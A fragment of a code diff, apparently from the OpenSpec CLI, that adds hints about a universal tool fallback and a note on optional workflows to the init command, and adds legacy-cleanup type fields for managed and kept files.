25
|
import { getProfileWorkflows, ALL_WORKFLOWS } from './profiles.js';
|
|
26
26
|
import { getAvailableTools } from './available-tools.js';
|
|
27
|
+
import { formatOptionalWorkflowsNote } from './onboarding-commands.js';
|
|
27
28
|
import { resolveSharedSkillWriters, sharedSkillRootOwner, writeSharedSkillTarget, } from './shared-skill-target.js';
|
|
28
29
|
import { migrateIfNeeded, migrateLegacyToolDirs, describeLegacyMigration, keptInPlaceNotice, hasMovableContent, scanInstalledWorkflows as scanInstalledWorkflowsShared } from './migration.js';
|
|
29
30
|
import { resolveCommandSurfaceCapability, resolveCommandInvocation, shouldGenerateCommandsForTool, shouldGenerateSkillsForTool, shouldReconcileCommandFilesForTool, shouldRemoveSkillsForTool, } from './command-surface.js';
|
|
@@ -422,7 +423,8 @@ export class InitCommand {
|
|
|
422
423
|
if (detectedToolIds.size > 0) {
|
|
423
424
|
return [...detectedToolIds];
|
|
424
425
|
}
|
|
425
|
-
|
|
426
|
+
const fallbackHint = universalToolFallbackHint(validTools);
|
|
427
|
+
throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n ${validTools.join('\n ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`);
|
|
426
428
|
}
|
|
427
429
|
if (validTools.length === 0) {
|
|
428
430
|
throw new Error(`No tools available for skill generation.`);
|
|
@@ -439,6 +441,7 @@ export class InitCommand {
|
|
|
439
441
|
return {
|
|
440
442
|
name: tool?.name || toolId,
|
|
441
443
|
value: toolId,
|
|
444
|
+
searchAliases: tool?.searchAliases,
|
|
442
445
|
configured,
|
|
443
446
|
detected: detected && !configured,
|
|
444
447
|
preSelected: configured || (shouldPreselectDetected && detected && !configured),
|
|
@@ -471,10 +474,17 @@ export class InitCommand {
|
|
|
471
474
|
: 'not pre-selected';
|
|
472
475
|
console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
|
|
473
476
|
}
|
|
477
|
+
// A search that matches nothing is where someone whose assistant is not on
|
|
478
|
+
// the list gives up (#653), so name the vendor-neutral entry right there.
|
|
479
|
+
const universalTool = getUniversalTool();
|
|
480
|
+
const universalHint = universalTool && validTools.includes(universalTool.value)
|
|
481
|
+
? `Tool not listed? Clear the search and pick "${universalTool.name}".`
|
|
482
|
+
: undefined;
|
|
474
483
|
const selectedTools = await searchableMultiSelect({
|
|
475
484
|
message: `Select tools to set up (${validTools.length} available)`,
|
|
476
485
|
pageSize: 15,
|
|
477
486
|
choices: sortedChoices,
|
|
487
|
+
emptyHint: universalHint,
|
|
478
488
|
validate: (selected) => selected.length > 0 || 'Select at least one tool',
|
|
479
489
|
});
|
|
480
490
|
if (selectedTools.length === 0) {
|
|
@@ -515,7 +525,8 @@ export class InitCommand {
|
|
|
515
525
|
}
|
|
516
526
|
const invalidTokens = tokens.filter((_token, index) => !availableSet.has(normalizedTokens[index]));
|
|
517
527
|
if (invalidTokens.length > 0) {
|
|
518
|
-
|
|
528
|
+
const fallbackHint = universalToolFallbackHint([...availableSet]);
|
|
529
|
+
throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`);
|
|
519
530
|
}
|
|
520
531
|
// Deduplicate while preserving order
|
|
521
532
|
const deduped = [];
|
|
@@ -1018,9 +1029,11 @@ export class InitCommand {
|
|
|
1018
1029
|
`${zeroArtifactTools.length === 1 ? 'it supports' : 'they support'} only skills. ` +
|
|
1019
1030
|
`Run 'openspec config set delivery both' to generate skills.`));
|
|
1020
1031
|
}
|
|
1032
|
+
let advertisedAnInvocation = true;
|
|
1021
1033
|
if (successfulTools.length > 0 && !commandsGenerated && !skillsGenerated) {
|
|
1022
1034
|
// Nothing was generated for any tool: the correction above is the
|
|
1023
1035
|
// whole story, so don't advertise an invocation that doesn't exist.
|
|
1036
|
+
advertisedAnInvocation = false;
|
|
1024
1037
|
}
|
|
1025
1038
|
else if (activeWorkflows.includes('propose')) {
|
|
1026
1039
|
printStartHints('/opsx:propose');
|
|
@@ -1030,6 +1043,23 @@ export class InitCommand {
|
|
|
1030
1043
|
}
|
|
1031
1044
|
else {
|
|
1032
1045
|
console.log("Done. Run 'openspec config profile' to configure your workflows.");
|
|
1046
|
+
advertisedAnInvocation = false;
|
|
1047
|
+
}
|
|
1048
|
+
// Workflows the active profile left out. Setup is the only moment a user
|
|
1049
|
+
// is told what exists, so name them here rather than let a missing
|
|
1050
|
+
// command read as a broken install (#1076). Skipped when the branch above
|
|
1051
|
+
// already pointed at `openspec config profile`, and when no tool received
|
|
1052
|
+
// a workflow surface at all (no tools selected, or none that could take
|
|
1053
|
+
// one) — there, adding workflows writes nothing, so naming them would
|
|
1054
|
+
// point at the wrong problem.
|
|
1055
|
+
if (advertisedAnInvocation && (commandsGenerated || skillsGenerated)) {
|
|
1056
|
+
const optionalWorkflowsNote = formatOptionalWorkflowsNote(activeWorkflows);
|
|
1057
|
+
if (optionalWorkflowsNote) {
|
|
1058
|
+
console.log();
|
|
1059
|
+
for (const line of optionalWorkflowsNote) {
|
|
1060
|
+
console.log(chalk.dim(line));
|
|
1061
|
+
}
|
|
1062
|
+
}
|
|
1033
1063
|
}
|
|
1034
1064
|
// Links
|
|
1035
1065
|
console.log();
|
|
@@ -25,6 +25,8 @@ export declare const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlo
|
|
|
25
25
|
export interface LegacySlashCommandPattern {
|
|
26
26
|
type: 'directory' | 'files';
|
|
27
27
|
path?: string;
|
|
28
|
+
/** For directory type: the only files in `path` that OpenSpec wrote. */
|
|
29
|
+
managedFileNames?: readonly string[];
|
|
28
30
|
pattern?: string | string[];
|
|
29
31
|
}
|
|
30
32
|
/**
|
|
@@ -149,6 +151,8 @@ export interface CleanupResult {
|
|
|
149
151
|
modifiedFiles: string[];
|
|
150
152
|
/** Directories that were deleted */
|
|
151
153
|
deletedDirs: string[];
|
|
154
|
+
/** Entries left in a legacy command directory because OpenSpec did not write them */
|
|
155
|
+
keptFiles?: string[];
|
|
152
156
|
/** Whether project.md exists and needs manual migration */
|
|
153
157
|
projectMdNeedsMigration: boolean;
|
|
154
158
|
/** Error messages if any operations failed */
|